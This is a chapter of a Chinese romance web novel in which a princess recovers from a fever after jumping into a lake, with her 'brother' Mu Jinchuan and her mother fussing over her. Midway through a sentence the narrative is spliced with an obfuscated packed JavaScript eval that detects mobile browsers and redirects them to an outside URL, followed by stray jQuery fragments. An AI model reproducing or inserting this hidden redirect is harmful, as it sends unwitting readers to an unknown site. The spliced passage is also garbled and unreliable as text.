20. 第 20 章

作品:《恶女意外攻略皇兄后

    “好,你本就不想瞒他。”慕瑾川说这话时还故意拉长尾音,明摆着就是在打趣她,慕照临自然听得出来,不过眼下却分不出精力与他。


    “宿主,你为何也跳下去了?”系统又生气又担心。


    “不小心。”


    “骗人,宿主就是主动跳下去的。”


    “好吧。”慕照临一点不心虚,继续胡说,“那我是为了救她。”


    “可是你根本就不识水性!”


    听此慕照临长叹口气,无奈答:“沈宁落入水中与我有九分关系,尽管并非亲自推她下水,可我心中仍是十分愧疚,陪着她一起也好些。我在下去之前特地看了慕瑾川的位置,他会来救我们的。”


    “…好吧。”随后系统又闷闷道,“下次宿主不能这样了,太危险了。”


    “好的。”话是如此说,可慕照临心中清楚若再来一次她还是会这般做。


    两人对话间慕瑾川已将人抱至马车前,轻声道:“我这就将你放下,可站稳了。”


    慕照临站定后便把盖在身上的斗篷摘下,可伸出的手还没碰到头顶就被人按住,她连忙道:“你这是做什么?”


    “如今我身上的衣服已湿透,这般样貌出现在你面前不合礼仪,所以只能委屈妹妹片刻,等到了客栈再拿下斗篷。”话中虽含祈求,可他按着慕照临的手却丝毫未松劲。


    闻言慕照临立刻低头观察自己的衣物,确实有些凌乱,故而爽快地答应下来,随后慕瑾川轻笑道:“那让我扶妹妹上马车吧,毕竟妹妹此时不能视物。”


    “谁说的,我可以从下面看。”回答她的又是一声轻笑。


    慕照临心中赌气,试图将手抽出自己上马车来证明方才的话,可慕瑾川却死死抓住,她只好放弃,顺着他的力道向上去。


    在斗篷的遮掩下视线有限,她只能勉强看到脚下那一片空间,可每每抬脚走去搭落在四周的斗篷便会不停摇晃,衬得整个世界都像在旋转,她心中不免生出几分犹豫。


    慕瑾川时时刻刻都在盯着她的举动,此刻直接开口道:“不必担忧,妹妹尽管向前走。”


    慕照临从他的话中察觉到自己犹疑的表现太过明显,不想让他看扁,深吸口气后一鼓作气地进到车厢中在靠着墙角坐下。本以为慕瑾川会很快跟上,可等了半天还未听到脚步,于是偷偷将斗篷掀开一点,却不成想正好看到帘子掀起,吓得慕照临连忙放下斗篷。


    慕瑾川装作什么都不知道柔声道:“我已让人提前去请医师,冬夜天寒可别着凉。”


    “不必这般紧张,方才一路上并未吹风,想来不会有事。”明明此刻两人已分开,可慕照临却觉得有迟来的害羞涌上心头,比之刚才更甚,慕瑾川也觉得有些不好意思,在原地默不作声。


    不得不说,慕照临对自己的身体太自信了,到客栈后三言两语打发了来的医师,囫囵吞枣喝下一碗姜汤,随随便便泡了热水澡后便上床榻休息,一番行动下来子夜时果然不负众望地起了热。


    早就安排好了的侍女在纱幔后候着,那侍女看慕照临不断翻身,睡得极不安稳便进来察看情况却发现她竟面色通红,吓得连忙去一旁的屋子找慕瑾川。


    他被叫醒时还有些迷蒙,不过好在有先见之明让医师提前拿了药,他招呼屋外的吴音:“你快些去熬药。”


    “是。”吴音走出去两步又回头,犹豫道,“殿下,此事是否要告知宫中各位?”


    “…不必,待临儿清醒后再说。”


    随后慕瑾川小心翼翼地进入屋中,怕惊扰慕照临没敢点灯,摸黑来到帷幔前。可他却突然顿住,有些不知该做些什么,慕照临虽然不舒服可始终未醒过来,他也就这样守着她直到侍女端着药来到他身边。


    只听侍女轻声道:“公子,可要叫醒姑娘?”


    慕瑾川点点头出了门,让侍女方便掀起帷幔,他贴着屋门等候,听不到里面的一点声响,只好在脑海中默默想象屋里的情景。忽然不知藏在哪的吴音突然凑过来道:“殿下很担心公主吗?”


    “我自然担心,她是随着我一起出宫的,若是出了事母后必会伤心。”


    吴音撇撇嘴道:“是吗?我看殿下可不是因为这担心。”


    “哦?那你说我是因为什么?”


    “因为殿下在意公主啊。”


    “你!”慕瑾川刚喊出声却想起屋中的人将声音放低,“你又不是不知我们的关系,她可不是真正的公主。”


    吴音丝毫不怕,嬉皮笑脸道:“那不是更好了吗?”说完便一溜烟跑没了影,不知又藏到哪里去了。


    不容他细想身后的门被打开,侍女端着空碗出来道:“公子,姑娘让您进去,她好似有话要说。”


    慕瑾川慢悠悠走入,短短一段路让他走出了一辈子的感觉,床榻上的慕照临有些等不及用沙哑的声音开口催道:“你能走快些吗?”


    “妹妹原来没睡啊。”他一边说一边默默加快步伐。


    此时帷幔已被放下,屋中比刚才只多点了一盏灯,慕照临半卧的身影映在晃动的纱幔上,她捕捉到出现的影子,开口道:“这事也不要告知母后,她身子不好怕是会担心。”


    慕瑾川:“恐怕瞒不过她,等明日回了宫中后妹妹的病态只怕会一览无余,到时如何交代?”


    帷幔里的人重重叹口气,疲惫道:“算了,明日再说吧,我要休息了。”


    最终慕照临还是没有拗过慕瑾川,因为第二日他在回宫的马车上始终双眼禁闭,让慕照临的浑身解数都发挥不出,直到马车停在霁和宫门外他才装模作样地问道:“妹妹方才说什么了?我有些没听清。”


    “…算了。”


    慕照临有些无奈地下了马车,却看到一行人,除了自家母后外慕瑾徽也在,在对上楚烟眼神中的担忧时她便明白了所有,插着腰打起精力努力做出平常的样子,嗔怪道:“大皇兄,你怎么什么都往外说!”


    可她如今虽不再发热,声音还是很虚弱,所有的伪装不攻自破,楚烟心疼地上前为她拂去额前的碎发,道:“你也别怪瑾徽,这种大事怎么能不告诉母后呢?”慕瑾徽在一旁无辜地赔笑。


    伸手不打笑脸人,慕照临也有些说不出狠话,弱了气势:“我当然不怪大皇兄,只是怕母后太过担忧罢了。”


    “…皇妹如今想来是没力气怪任何人吧。”慕瑾川在身后冷不丁插话,吃了慕照临一记眼刀可仍旧眉眼弯弯。


    楚烟视线在两人身上打转,看着自家女儿苍白的脸色直接抬手摸上她的额头,果不其然,比常人的温度高上一些,她皱着眉头道:“临儿行事真是越发大胆,生了病竟也瞒着母后,是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708125|173032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉得不需要母后了吗?”


    “没有的事,母后多虑了。”慕照临慌忙解释,空闲之余又白了眼正在与慕瑾徽攀谈的慕瑾川。


    楚烟并未深究,开口道:“好在母后早就唤来太医,估摸着马上就到,外头风大快些进屋吧。”


    慕照临被楚烟拉着走还不忘辩白:“母后,我真的没事了,不必如此大费周章。”


    一旁跟着的常心替楚烟答道:“公主总是这样说,从小到大若是十分痛只喊上三分,事事逞强。”灵芝跟着不停点头。


    看着阵营一致的三人,慕照临继续嘴硬:“哎呀,常姑姑,我是真的无事。”可如何抗拒都是于事无补,太医还是照样来。


    待太医号完脉后慕照临便立刻问道:“章太医,我是不是一点事情都没有?”


    留着白胡子的章太医躬着身道:“从脉象看来确实无大碍。”他顿了顿,“不过初春天寒,而湖水太过冰冷,如此一遭寒气可能入体,所以还是需要开些药。”


    想起之前喝过的药的滋味,慕照临面目狰狞地抗议:“不要啊!”


    楚烟却不理她,径直道:“那就麻烦章太医了。”


    “娘娘哪里的话,这是微臣的本职。”在众人意见一致中无人在意要连着喝半个月补药的慕照临。


    只能说不亏是照料她多年的太医,回宫傍晚慕照临便突然咳嗽起来,十分严重,甚至连来看望她的宁贵妃和苏寒织都未能见过。不过在章太医和楚烟的精心照料后她的病一日日好起来,病来如山倒,病去如抽丝,等慕照临彻底康复时已到了三月初。在这期间她也没闲着,她与沈宁书信一直未断过,两人的关系也迎来大的转变,毕竟也算得上有同生共死的经历。


    三月初一午时,霁和宫正殿中,章太医正向楚烟陈述慕照临的身体情况,只听他道:“公主殿下已经完全康复,不必向先前一样拘着了。”


    楚烟还未回复,躲在屋外偷听的慕照临便破门而入,开心道:“有了章太医这番话母后可放心了?”


    看着她兴高采烈的模样,楚烟不忍扫兴,附和道:“自然,今日临儿可以去玩了。”


    “多谢母后,也多谢章太医几日的照顾。”慕照临甜甜道谢后便跑出去,同时喊道,“灵芝,快将我的琴拿至御花园中。”


    “是!”这些日子同样待在宫中的灵芝连尾音都上翘着。


    慕照临落座于荷花池前的亭中,简单拨弄两下琴弦便算作试音,她本想弹奏《梅花三弄》,可响起的却是同那日星桥节无意听到的一样的琴音。一曲毕却再无继续的心思,她一手撑着下巴发呆,这些日子她在屋中无趣故而凭着记忆写出那日听到的琴音的曲谱,本想找出是哪首歌可翻遍古籍也没有收获。


    “妹妹好雅致,这身体刚好便来吹着风弹琴。”既嗔怪又戏谑的声音突然在她背后响起,慕照临回头寻找灵芝的身影,刚想教训两句慕瑾川再次开口,“妹妹不必怪她,是我不让她通报的。”


    这些日子慕瑾川没少往她这里送东西,上至名贵首饰、下至稀奇玩意儿,好似在赔罪,他不送还好一送慕照临便想起那日看到的情景,更断定此人轻挑,心中越发郁闷,此时也不想搭理他,默默转回去。慕瑾川对她的无视并不在意,继续问道:“不知妹妹的琴可有名字?”


    “仙人友。”